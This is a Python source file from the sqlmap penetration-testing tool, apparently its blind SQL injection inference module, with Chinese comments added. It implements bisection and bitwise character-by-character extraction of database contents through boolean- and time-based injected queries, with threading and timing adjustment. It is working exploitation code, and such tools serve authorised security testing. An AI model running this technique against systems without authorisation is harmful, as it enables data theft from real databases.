#!/usr/bin/env python """ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ # 导入必要的模块 from __future__ import division # 使用真除法,避免整数除法的问题 import re # 正则表达式模块 import time # 时间相关操作 # 导入sqlmap自定义模块 from lib.core.agent import agent # SQL语句构造和处理 from lib.core.common import Backend # 数据库后端相关 from lib.core.common import calculateDeltaSeconds # 计算时间差 from lib.core.common import dataToStdout # 输出到标准输出 from lib.core.common import decodeDbmsHexValue # 解码数据库十六进制值 from lib.core.common import decodeIntToUnicode # 整数转Unicode字符 from lib.core.common import filterControlChars # 过滤控制字符 from lib.core.common import getCharset # 获取字符集 from lib.core.common import getCounter # 获取计数器 from lib.core.common import getPartRun # 获取部分运行信息 from lib.core.common import getTechnique # 获取注入技术 from lib.core.common import getTechniqueData # 获取注入技术数据 from lib.core.common import goGoodSamaritan # 智能预测功能 from lib.core.common import hashDBRetrieve # 从哈希数据库读取 from lib.core.common import hashDBWrite # 写入哈希数据库 from lib.core.common import incrementCounter # 增加计数器 from lib.core.common import isDigit # 判断是否为数字 from lib.core.common import isListLike # 判断是否为列表类型 from lib.core.common import safeStringFormat # 安全的字符串格式化 from lib.core.common import singleTimeWarnMessage # 单次警告消息 from lib.core.data import conf # 配置信息 from lib.core.data import kb # 知识库 from lib.core.data import logger # 日志记录 from lib.core.data import queries # SQL查询语句 from lib.core.enums import ADJUST_TIME_DELAY # 时间延迟调整枚举 from lib.core.enums import CHARSET_TYPE # 字符集类型枚举 from lib.core.enums import DBMS # 数据库类型枚举 from lib.core.enums import PAYLOAD # Payload类型枚举 from lib.core.exception import SqlmapThreadException # 线程异常 from lib.core.exception import SqlmapUnsupportedFeatureException # 不支持特性异常 from lib.core.settings import CHAR_INFERENCE_MARK # 字符推断标记 from lib.core.settings import INFERENCE_BLANK_BREAK # 空白中断标记 from lib.core.settings import INFERENCE_EQUALS_CHAR # 等于字符标记 from lib.core.settings import INFERENCE_GREATER_CHAR # 大于字符标记 from lib.core.settings import INFERENCE_MARKER # 推断标记 from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR # 不等于字符标记 from lib.core.settings import INFERENCE_UNKNOWN_CHAR # 未知字符标记 from lib.core.settings import MAX_BISECTION_LENGTH # 最大二分长度 from lib.core.settings import MAX_REVALIDATION_STEPS # 最大重新验证步骤 from lib.core.settings import NULL # 空值 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER # 部分十六进制值标记 from lib.core.settings import PARTIAL_VALUE_MARKER # 部分值标记 from lib.core.settings import PAYLOAD_DELIMITER # Payload分隔符 from lib.core.settings import RANDOM_INTEGER_MARKER # 随机整数标记 from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD # 有效时间字符运行阈值 from lib.core.threads import getCurrentThreadData # 获取当前线程数据 from lib.core.threads import runThreads # 运行线程 from lib.core.unescaper import unescaper # 反转义处理 from lib.request.connect import Connect as Request # HTTP请求处理 from lib.utils.progress import ProgressBar # 进度条 from lib.utils.safe2bin import safecharencode # 安全字符编码 from lib.utils.xrange import xrange # 兼容Python2/3的range from thirdparty import six # Python 2/3兼容库 def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ 二分法算法,用于执行盲注SQL注入 参数说明: payload - SQL注入的payload模板 expression - 需要注入的SQL表达式 length - 查询结果的长度限制 charsetType - 字符集类型 firstChar - 起始字符位置 lastChar - 结束字符位置 dump - 是否导出数据 """ # 初始化变量 abortedFlag = False # 中止标志 showEta = False # 是否显示进度条 partialValue = u"" # 部分结果值 finalValue = None # 最终结果值 retrievedLength = 0 # 已获取的长度 # 检查payload是否为空 if payload is None: return 0, None # 根据字符集类型获取ASCII表 if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) # 获取当前线程数据 threadData = getCurrentThreadData() # 判断是否为基于时间的注入 timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) # 从缓存中获取已有结果 retVal = hashDBRetrieve(expression, checkConf=True) # 如果有缓存结果 if retVal: # 如果需要修复且结果中包含未知字符 if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: pass # 如果结果中包含部分十六进制值标记 elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) # 如果结果中包含部分值标记 elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) # 其他情况直接使用缓存结果 else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal # 针对不同数据库的特殊处理 if Backend.isDbms(DBMS.MCKOI): # McKoi数据库 match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) if match: original = queries[Backend.getIdentifiedDbms()].inference.query right = original.split('<')[1] payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) expression = match.group(1).strip() elif Backend.isDbms(DBMS.FRONTBASE): # FrontBase数据库 match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() try: # 设置kb.partRun用于"common prediction"特性或API调用 if conf.predictOutput: # 如果启用了预测输出 kb.partRun = getPartRun() elif conf.api: # 如果是API调用 kb.partRun = getPartRun(alias=False) else: kb.partRun = None # 设置起始字符位置 if partialValue: # 如果有部分值,从部分值长度开始 firstChar = len(partialValue) elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): # 如果是长度查询,从0开始 firstChar = 0 elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 # 设置结束字符位置 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): # 如果是长度查询,结束位置为0 lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 # 处理数据库相关的字段转换 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) # 处理长度参数 if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None # 是否显示进度条 showEta = conf.eta and isinstance(length, int) # 设置线程数 if kb.bruteMode: # 暴力模式只用1个线程 numThreads = 1 else: numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) # 多线程处理 if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 # 单线程模式提示 if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) # 显示进度信息 if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) def tryHint(idx): """ 尝试使用提示值进行查询 参数: idx - 当前字符位置 """ with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) or "" forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return hintValue[idx - 1] with kb.locks.hint: kb.hintValue = "" return None def validateChar(idx, value): """ 验证字符值是否正确 参数: idx - 字符位置 value - 字符值 """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and getTechniqueData().trueCode: result = threadData.lastCode == getTechniqueData().trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(getTechnique()) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ 获取指定位置的字符 参数: idx - 字符位置 charTbl - 字符表 continuousOrder - 是否连续顺序 expand - 是否扩展字符集 shiftTable - 位移表 retried - 重试次数 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if kb.disableShiftTable: shiftTable = None elif continuousOrder and shiftTable is None: shiftTable = [2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: if threadData.lastCode is not None: warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode else: warnMsg = "unexpected response detected." warnMsg += " Will use (extra) validation step in similar cases" singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None elif minValue == maxChar: if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: kb.disableShiftTable = True return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warning(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0]) # 多线程处理(--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # 作为列表用于python嵌套函数作用域 threadData.shared.start = firstChar try: def blindThread(): """ 盲注线程函数 """ threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break # 注意: https://github.com/sqlmapproject/sqlmap/issues/4629 if not isListLike(threadData.shared.value): break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # 如果有一个字符没有正确获取,可能意味着与目标URL的连接丢失 if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # 单线程处理(--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # 常见预测功能(又名"good samaritan") # 注意:目前仅在未设置多线程时使用 if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # 如果common-outputs中有一个单一输出,通过等于查询输出进行检查 if commonValue is not None: # 一次性查询包含等于commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # 是否成功? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) if isinstance(length, six.string_types) and length.isspace(): length = 0 return length